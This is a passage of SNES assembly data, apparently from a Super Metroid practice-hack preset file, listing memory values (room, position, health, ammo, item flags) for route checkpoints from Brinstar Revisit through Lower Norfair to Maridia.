position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0AF6 : db $02 : dw $0078 ; Samus X dl $7E0AFA : db $02 : dw $0088 ; Samus Y dl $7ED880 : db $02 : dw $00A0 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0020 ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_revisit_red_tower_elevator: dw #preset_14speed_wrecked_ship_leaving_gravity ; Wrecked Ship: Leaving Gravity dl $7E078D : db $02 : dw $8B02 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $A322 ; MDB dl $7E079F : db $02 : dw $0001 ; Region dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers dl $7E07F3 : db $02 : dw $0012 ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0238 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0043 ; Health dl $7E09C6 : db $02 : dw $0000 ; Missiles dl $7E09CE : db $02 : dw $0002 ; Pbs dl $7E0AF6 : db $02 : dw $0080 ; Samus X dl $7E0AFA : db $02 : dw $02A8 ; Samus Y dl $7ED91A : db $02 : dw $0024 ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_revisit_breaking_tube: dw #preset_14speed_brinstar_revisit_red_tower_elevator ; Brinstar Revisit: Red Tower Elevator dl $7E078D : db $02 : dw $911A ; DDB dl $7E079B : db $02 : dw $CF54 ; MDB dl $7E079F : db $02 : dw $0004 ; Region dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $5C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0052 ; Health dl $7E09C6 : db $02 : dw $0008 ; Missiles dl $7E09CA : db $02 : dw $000A ; Supers dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $002C ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_14speed_brinstar_revisit_entering_kraids_lair: dw #preset_14speed_brinstar_revisit_breaking_tube ; Brinstar Revisit: Breaking Tube dl $7E078D : db $02 : dw $A348 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $CF80 ; MDB dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $1801 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E09CE : db $02 : dw $0001 ; Pbs dl $7E0AF6 : db $02 : dw $002E ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED820 : db $02 : dw $0801 ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_revisit_baby_kraid_entering: dw #preset_14speed_brinstar_revisit_entering_kraids_lair ; Brinstar Revisit: Entering Kraids Lair dl $7E078D : db $02 : dw $9156 ; DDB dl $7E079B : db $02 : dw $A4DA ; MDB dl $7E079F : db $02 : dw $0001 ; Region dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $DC00 ; Screen subpixel Y position dl $7E09CA : db $02 : dw $0007 ; Supers dl $7E0AF6 : db $02 : dw $0171 ; Samus X dl $7ED91A : db $02 : dw $0025 ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_revisit_kraid: dw #preset_14speed_brinstar_revisit_baby_kraid_entering ; Brinstar Revisit: Baby Kraid (Entering) dl $7E078D : db $02 : dw $919E ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $A56B ; MDB dl $7E07F3 : db $02 : dw $0027 ; Music Bank dl $7E07F5 : db $02 : dw $0006 ; Music Track dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $3800 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $004D ; Health dl $7E09C6 : db $02 : dw $0005 ; Missiles dl $7E09CA : db $02 : dw $0009 ; Supers dl $7E0AF6 : db $02 : dw $01C8 ; Samus X dl $7ED8B8 : db $02 : dw $0024 ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_revisit_baby_kraid_exiting: dw #preset_14speed_brinstar_revisit_kraid ; Brinstar Revisit: Kraid dl $7E078D : db $02 : dw $91CE ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $A800 ; Screen subpixel Y position dl $7E09A2 : db $02 : dw $1025 ; Equipped Items dl $7E09A4 : db $02 : dw $1025 ; Collected Items dl $7E09C2 : db $02 : dw $008A ; Health dl $7E09C6 : db $02 : dw $000A ; Missiles dl $7E09CA : db $02 : dw $0007 ; Supers dl $7E09CE : db $02 : dw $0004 ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $005F ; Samus X dl $7ED828 : db $02 : dw $0104 ; Events, Items, Doors dl $7ED876 : db $02 : dw $0001 ; Events, Items, Doors dl $7ED8B8 : db $02 : dw $00E4 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0026 ; Events, Items, Doors dw #$FFFF .after preset_14speed_brinstar_revisit_kraid_etank: dw #preset_14speed_brinstar_revisit_baby_kraid_exiting ; Brinstar Revisit: Baby Kraid (Exiting) dl $7E078D : db $02 : dw $916E ; DDB dl $7E079B : db $02 : dw $A471 ; MDB dl $7E07F3 : db $02 : dw $0012 ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $CC00 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0085 ; Health dl $7E09CA : db $02 : dw $000A ; Supers dl $7E09CE : db $02 : dw $0002 ; Pbs dl $7E0AF6 : db $02 : dw $0056 ; Samus X dl $7ED8B8 : db $02 : dw $00ED ; Events, Items, Doors dl $7ED91A : db $02 : dw $0027 ; Events, Items, Doors dw #$FFFF .after preset_14speed_upper_norfair_precathedral: dw #preset_14speed_brinstar_revisit_kraid_etank ; Brinstar Revisit: Kraid E-tank dl $7E078D : db $02 : dw $9246 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $A7DE ; MDB dl $7E079F : db $02 : dw $0002 ; Region dl $7E07C3 : db $02 : dw $C3F9 ; GFX Pointers dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers dl $7E07F3 : db $02 : dw $0015 ; Music Bank dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0238 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $012B ; Health dl $7E09C4 : db $02 : dw $012B ; Max helath dl $7E09CA : db $02 : dw $0009 ; Supers dl $7E09CE : db $02 : dw $0005 ; Pbs dl $7E0A1C : db $02 : dw $009B ; Samus position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0AF6 : db $02 : dw $0080 ; Samus X dl $7E0AFA : db $02 : dw $02A8 ; Samus Y dl $7ED874 : db $02 : dw $0904 ; Events, Items, Doors dl $7ED8B8 : db $02 : dw $00EF ; Events, Items, Doors dl $7ED91A : db $02 : dw $0028 ; Events, Items, Doors dw #$FFFF .after preset_14speed_upper_norfair_bubble_mountain: dw #preset_14speed_upper_norfair_precathedral ; Upper Norfair: Pre-Cathedral dl $7E078D : db $02 : dw $929A ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $AFA3 ; MDB dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels dl $7E0913 : db $02 : dw $F400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0120 ; Health dl $7E09C6 : db $02 : dw $0009 ; Missiles dl $7E09CA : db $02 : dw $0007 ; Supers dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $04B5 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED8B8 : db $02 : dw $06EF ; Events, Items, Doors dl $7ED91A : db $02 : dw $0029 ; Events, Items, Doors dw #$FFFF .after preset_14speed_upper_norfair_bubble_mountain_revisit: dw #preset_14speed_upper_norfair_bubble_mountain ; Upper Norfair: Bubble Mountain dl $7E078D : db $02 : dw $95A6 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $B07A ; MDB dl $7E090F : db $02 : dw $8001 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $FC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E09A2 : db $02 : dw $3025 ; Equipped Items dl $7E09A4 : db $02 : dw $3025 ; Collected Items dl $7E09C2 : db $02 : dw $0129 ; Health dl $7E09C6 : db $02 : dw $000A ; Missiles dl $7E09CA : db $02 : dw $000A ; Supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0041 ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dl $7ED822 : db $02 : dw $0020 ; Events, Items, Doors dl $7ED878 : db $02 : dw $0004 ; Events, Items, Doors dl $7ED8BA : db $02 : dw $0030 ; Events, Items, Doors dl $7ED91A : db $02 : dw $002E ; Events, Items, Doors dw #$FFFF .after preset_14speed_upper_norfair_magdollite_room: dw #preset_14speed_upper_norfair_bubble_mountain_revisit ; Upper Norfair: Bubble Mountain Revisit dl $7E078D : db $02 : dw $9576 ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $AEDF ; MDB dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $01F5 ; Screen Y position in pixels dl $7E09CE : db $02 : dw $0004 ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $0059 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED91A : db $02 : dw $002F ; Events, Items, Doors dw #$FFFF .after preset_14speed_upper_norfair_lava_spark: dw #preset_14speed_upper_norfair_magdollite_room ; Upper Norfair: Magdollite Room dl $7E078D : db $02 : dw $96A2 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $AE74 ; MDB dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $C400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $012B ; Health dl $7E09C6 : db $02 : dw $0008 ; Missiles dl $7E09CE : db $02 : dw $0005 ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $01EB ; Samus X dl $7ED8BA : db $02 : dw $0130 ; Events, Items, Doors dw #$FFFF .after preset_14speed_lower_norfair_ln_main_hall: dw #preset_14speed_upper_norfair_lava_spark ; Upper Norfair: Lava Spark dl $7E078D : db $02 : dw $96F6 ; DDB dl $7E079B : db $02 : dw $B236 ; MDB dl $7E07F3 : db $02 : dw $0018 ; Music Bank dl $7E090F : db $02 : dw $B000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $00D7 ; Health dl $7E0A1C : db $02 : dw $009B ; Samus position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0AF6 : db $02 : dw $0480 ; Samus X dl $7E0AFA : db $02 : dw $0288 ; Samus Y dw #$FFFF .after preset_14speed_lower_norfair_pillars: dw #preset_14speed_lower_norfair_ln_main_hall ; Lower Norfair: LN Main Hall dl $7E078D : db $02 : dw $985E ; DDB dl $7E079B : db $02 : dw $B3A5 ; MDB dl $7E090F : db $02 : dw $5700 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4000 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $00DC ; Health dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $0025 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dw #$FFFF .after preset_14speed_lower_norfair_worst_room: dw #preset_14speed_lower_norfair_pillars ; Lower Norfair: Pillars dl $7E078D : db $02 : dw $9912 ; DDB dl $7E078F : db $02 : dw $0004 ; DoorOut Index dl $7E079B : db $02 : dw $B457 ; MDB dl $7E090F : db $02 : dw $037F ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels dl $7E0913 : db $02 : dw $9C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0092 ; Health dl $7E0AF6 : db $02 : dw $03DB ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_14speed_lower_norfair_amphitheatre: dw #preset_14speed_lower_norfair_worst_room ; Lower Norfair: Worst Room dl $7E078D : db $02 : dw $994E ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $B4AD ; MDB dl $7E090F : db $02 : dw $1FFF ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $1C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $011F ; Screen Y position in pixels dl $7E09C6 : db $02 : dw $0005 ; Missiles dl $7E09CA : db $02 : dw $0006 ; Supers dl $7E09CE : db $02 : dw $0004 ; Pbs dl $7E0AF6 : db $02 : dw $00B3 ; Samus X dl $7E0AFA : db $02 : dw $018B ; Samus Y dw #$FFFF .after preset_14speed_lower_norfair_kihunter_stairs: dw #preset_14speed_lower_norfair_amphitheatre ; Lower Norfair: Amphitheatre dl $7E078D : db $02 : dw $997E ; DDB dl $7E079B : db $02 : dw $B4E5 ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0244 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0043 ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $02E4 ; Samus X dl $7E0AFA : db $02 : dw $00B3 ; Samus Y dw #$FFFF .after preset_14speed_lower_norfair_wasteland: dw #preset_14speed_lower_norfair_kihunter_stairs ; Lower Norfair: Kihunter Stairs dl $7E078D : db $02 : dw $99A2 ; DDB dl $7E079B : db $02 : dw $B585 ; MDB dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $9000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0419 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00B7 ; Health dl $7E09CE : db $02 : dw $0002 ; Pbs dl $7E0A1C : db $02 : dw $001D ; Samus position/state dl $7E0A1E : db $02 : dw $0408 ; More position/state dl $7E0AF6 : db $02 : dw $0247 ; Samus X dl $7E0AFA : db $02 : dw $0489 ; Samus Y dl $7ED8BA : db $02 : dw $4130 ; Events, Items, Doors dw #$FFFF .after preset_14speed_lower_norfair_metal_pirates: dw #preset_14speed_lower_norfair_wasteland ; Lower Norfair: Wasteland dl $7E078D : db $02 : dw $99EA ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $B5D5 ; MDB dl $7E090F : db $02 : dw $DFFF ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $021F ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00A1 ; Health dl $7E09CA : db $02 : dw $0005 ; Supers dl $7E09CE : db $02 : dw $0001 ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0162 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED8BA : db $02 : dw $C130 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0030 ; Events, Items, Doors dw #$FFFF .after preset_14speed_lower_norfair_ridley_farming_room: dw #preset_14speed_lower_norfair_metal_pirates ; Lower Norfair: Metal Pirates dl $7E078D : db $02 : dw $9A32 ; DDB dl $7E079B : db $02 : dw $B482 ; MDB dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00F4 ; Health dl $7E09CA : db $02 : dw $000A ; Supers dl $7E0AF6 : db $02 : dw $004D ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED8BC : db $02 : dw $0001 ; Events, Items, Doors dw #$FFFF .after preset_14speed_lower_norfair_ridley: dw #preset_14speed_lower_norfair_ridley_farming_room ; Lower Norfair: Ridley Farming Room dl $7E078D : db $02 : dw $995A ; DDB dl $7E079B : db $02 : dw $B37A ; MDB dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $7400 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $012B ; Health dl $7E09CE : db $02 : dw $0005 ; Pbs dl $7E0AF6 : db $02 : dw $003F ; Samus X dl $7E0AFA : db $02 : dw $009B ; Samus Y dl $7ED8BA : db $02 : dw $D130 ; Events, Items, Doors dw #$FFFF .after preset_14speed_lower_norfair_leaving_ridley: dw #preset_14speed_lower_norfair_ridley ; Lower Norfair: Ridley dl $7E078D : db $02 : dw $9A62 ; DDB dl $7E079B : db $02 : dw $B32E ; MDB dl $7E07F3 : db $02 : dw $0024 ; Music Bank dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $1800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $011C ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $018F ; Health dl $7E09C4 : db $02 : dw $018F ; Max helath dl $7E09C6 : db $02 : dw $0006 ; Missiles dl $7E09CA : db $02 : dw $0006 ; Supers dl $7E09CE : db $02 : dw $0002 ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $0042 ; Samus X dl $7E0AFA : db $02 : dw $019B ; Samus Y dl $7ED82A : db $02 : dw $0101 ; Events, Items, Doors dl $7ED878 : db $02 : dw $4004 ; Events, Items, Doors dl $7ED8BA : db $02 : dw $D930 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0031 ; Events, Items, Doors dw #$FFFF .after preset_14speed_lower_norfair_wasteland_revisit: dw #preset_14speed_lower_norfair_leaving_ridley ; Lower Norfair: Leaving Ridley dl $7E078D : db $02 : dw $9966 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $B62B ; MDB dl $7E07F3 : db $02 : dw $0018 ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $9C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $015E ; Health dl $7E09C6 : db $02 : dw $0005 ; Missiles dl $7E09CE : db $02 : dw $0005 ; Pbs dl $7E0A1C : db $02 : dw $0089 ; Samus position/state dl $7E0A1E : db $02 : dw $1508 ; More position/state dl $7E0AF6 : db $02 : dw $02DB ; Samus X dl $7E0AFA : db $02 : dw $00AB ; Samus Y dl $7ED8BA : db $02 : dw $DD30 ; Events, Items, Doors dw #$FFFF .after preset_14speed_lower_norfair_kihunter_stairs_revisit: dw #preset_14speed_lower_norfair_wasteland_revisit ; Lower Norfair: Wasteland Revisit dl $7E078D : db $02 : dw $9A3E ; DDB dl $7E079B : db $02 : dw $B5D5 ; MDB dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels dl $7E0913 : db $02 : dw $8800 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $012F ; Health dl $7E09CE : db $02 : dw $0004 ; Pbs dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0581 ; Samus X dl $7E0AFA : db $02 : dw $005B ; Samus Y dl $7ED91A : db $02 : dw $0032 ; Events, Items, Doors dw #$FFFF .after preset_14speed_lower_norfair_fireflea_room: dw #preset_14speed_lower_norfair_kihunter_stairs_revisit ; Lower Norfair: Kihunter Stairs Revisit dl $7E078D : db $02 : dw $9A26 ; DDB dl $7E079B : db $02 : dw $B585 ; MDB dl $7E090F : db $02 : dw $FC7F ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $7400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $001A ; Screen Y position in pixels dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $00B9 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_14speed_lower_norfair_three_musketeers: dw #preset_14speed_lower_norfair_fireflea_room ; Lower Norfair: Fireflea Room dl $7E078D : db $02 : dw $9A92 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $B510 ; MDB dl $7E090F : db $02 : dw $DFFF ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $001D ; Screen Y position in pixels dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $005F ; Samus X dl $7ED91A : db $02 : dw $0034 ; Events, Items, Doors dw #$FFFF .after preset_14speed_lower_norfair_bubble_mountain_revisit_2: dw #preset_14speed_lower_norfair_three_musketeers ; Lower Norfair: Three Musketeers dl $7E078D : db $02 : dw $9A4A ; DDB dl $7E079B : db $02 : dw $AD5E ; MDB dl $7E07F3 : db $02 : dw $0015 ; Music Bank dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0915 : db $02 : dw $001B ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0084 ; Health dl $7E09CE : db $02 : dw $0003 ; Pbs dl $7E0AF6 : db $02 : dw $008A ; Samus X dl $7ED91A : db $02 : dw $0035 ; Events, Items, Doors dw #$FFFF .after preset_14speed_maridia_entering_maridia: dw #preset_14speed_lower_norfair_bubble_mountain_revisit_2 ; Lower Norfair: Bubble Mountain Revisit dl $7E078D : db $02 : dw $92EE ; DDB dl $7E078F : db $02 : dw $0004 ; DoorOut Index dl $7E079B : db $02 : dw $A6A1 ; MDB dl $7E079F : db $02 : dw $0001 ; Region dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers dl $7E07F3 : db $02 : dw $0012 ; Music Bank dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position. dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00FB ; Health dl $7E09C6 : db $02 : dw $000A ; Missiles dl $7E09CA : db $02 : dw $000A ; Supers dl $7E09CE : db $02 : dw $0005 ; Pbs dl $7E0A1C : db $02 : dw $009B ; Samus position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0AF6 : db $02 : dw $0080 ; Samus X dl $7E0AFA : db $02 : dw $0086 ; Samus Y dl $7ED91A : db $02 : dw $0036 ; Events, Items, Doors dw #$FFFF .after preset_14speed_maridia_mt_everest: dw #preset_14speed_maridia_entering_maridia ; Maridia: Entering Maridia dl $7E078D : db $02 : dw $A3B4 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $D017 ; MDB dl $7E079F : db $02 : dw $0004 ; Region dl $7E07C3 : db $02 : dw $B130 ; GFX Pointers dl $7E07C5 : db $02 : dw $3CBE ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B8 ; GFX Pointers dl $7E07F3 : db $02 : dw $001B ; Music Bank dl $7E07F5 : db $02 : dw $0006 ; Music Track dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $006D ; Screen X position in pixels dl $7E0913 : db $02 : dw $7400 ; Screen subpixel Y position dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $00D0 ; Samus X dl $7E0AFA : db $02 : dw $006B ; Samus Y dl $7ED91A : db $02 : dw $0038 ; Events, Items, Doors dw #$FFFF .after preset_14speed_maridia_aqueduct: dw #preset_14speed_maridia_mt_everest ; Maridia: Mt Everest dl $7E078D : db $02 : dw $A468 ; DDB dl $7E078F : db $02 : dw $0005 ; DoorOut Index dl $7E079B : db $02 : dw $D1A3 ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $47FF ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $00C3 ; Health dl $7E09CA : db $02 : dw $0009 ; Supers dl $7E0A1C : db $02 : dw $001D ; Samus position/state dl $7E0A1E : db $02 : dw $0408 ; More position/state dl $7E0AF6 : db $02 : dw $01BD ; Samus X dl $7E0AFA : db $02 : dw $0399 ; Samus Y dl $7ED8C0 : db $02 : dw $8174 ; Events, Items, Doors dw #$FFFF .after preset_14speed_maridia_botwoon: dw #preset_14speed_maridia_aqueduct ; Maridia: Aqueduct dl $7E078D : db $02 : dw $A72C ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $D617 ; MDB dl $7E07C3 : db $02 : dw $E78D ; GFX Pointers dl $7E07C5 : db $02 : dw $2EBE ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B9 ; GFX Pointers dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels dl $7E0913 : db $02 : dw $73FF ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0013 ; Screen Y position in pixels dl $7E09CE : db $02 : dw $0004 ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $03AD ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED91A : db $02 : dw $003A ; Events, Items, Doors dw #$FFFF .after preset_14speed_maridia_botwoon_etank_room: dw #preset_14speed_maridia_botwoon ; Maridia: Botwoon dl $7E078D : db $02 : dw $A774 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $D95E ; MDB dl $7E07F3 : db $02 : dw $002A ; Music Bank dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $A000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0125 ; Health dl $7E09C6 : db $02 : dw $0005 ; Missiles dl $7E09CA : db $02 : dw $0004 ; Supers dl $7E0AF6 